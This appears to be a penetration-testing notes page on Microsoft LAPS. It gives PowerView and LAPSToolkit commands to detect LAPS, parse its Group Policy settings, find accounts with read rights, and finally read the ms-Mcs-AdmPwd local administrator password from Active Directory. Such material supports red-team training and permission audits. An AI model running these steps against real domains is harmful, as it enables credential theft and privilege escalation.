LAPS
Introduction
Local Administrator Password Solution (LAPS) is a Microsoft tool that helps organizations secure their local administrator accounts on Windows-based computers. It provides a unique, randomly generated password for each local administrator account on every managed computer in an organization's network, and stores the password securely in Active Directory.
Enumeration
There are three main ways to check if LAPS is enabled on the machine you have access to.
Check if the
AdmPwd.dllexists on the system.
dir C:\Program Files\LAPS\CSECheck for GPOs related to "LAPS".
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | flCheck if the object
ms-Mcs-AdmPwdExpirationTimeis not null.
Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostNameExploitation
1. Download the Registry.pol, which location is at the gpcfilesyspath obtained while enumerating GPOs.
ls <GPCFileSysPath>\Machine\Registry.pol2. Parse the file with the following command from the GPRegistryPolicyParser.
Parse-PolFile .\Desktop\Registry.polAfter parsing the file, you can obtain the following information:
Password complexity is upper, lower and numbers.
Password length is 14.
Passwords are changed every 30 days.
The LAPS managed account name is LapsAdmin.
Password expiration protection is disabled.
3. Then, it is time to find out who can read the LAPS password. (There are two alternatives).
Directly looking at the computer ADLS
# Obtain the SID
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
# Convert the SID
ConvertFrom-SID <SecurityIdentifier>Using the LAPSToolkit.
ℹ️
Find-LAPSDelegatedGroupswill query each OU and find domain groups that have delegated read access.Find-AdmPwdExtendedRightsgoes a little deeper and queries each individual computer for users that have "All Extended Rights". This will reveal any users that can read the attribute without having had it specifically delegated to them.
. .\LAPSToolkit.ps1
Find-LAPSDelegatedGroups4. Once you have the permissions to read the password, you can read it as follows.
Get-DomainComputer -Identity <HOSTNAME> -Properties ms-Mcs-AdmPwdLast updated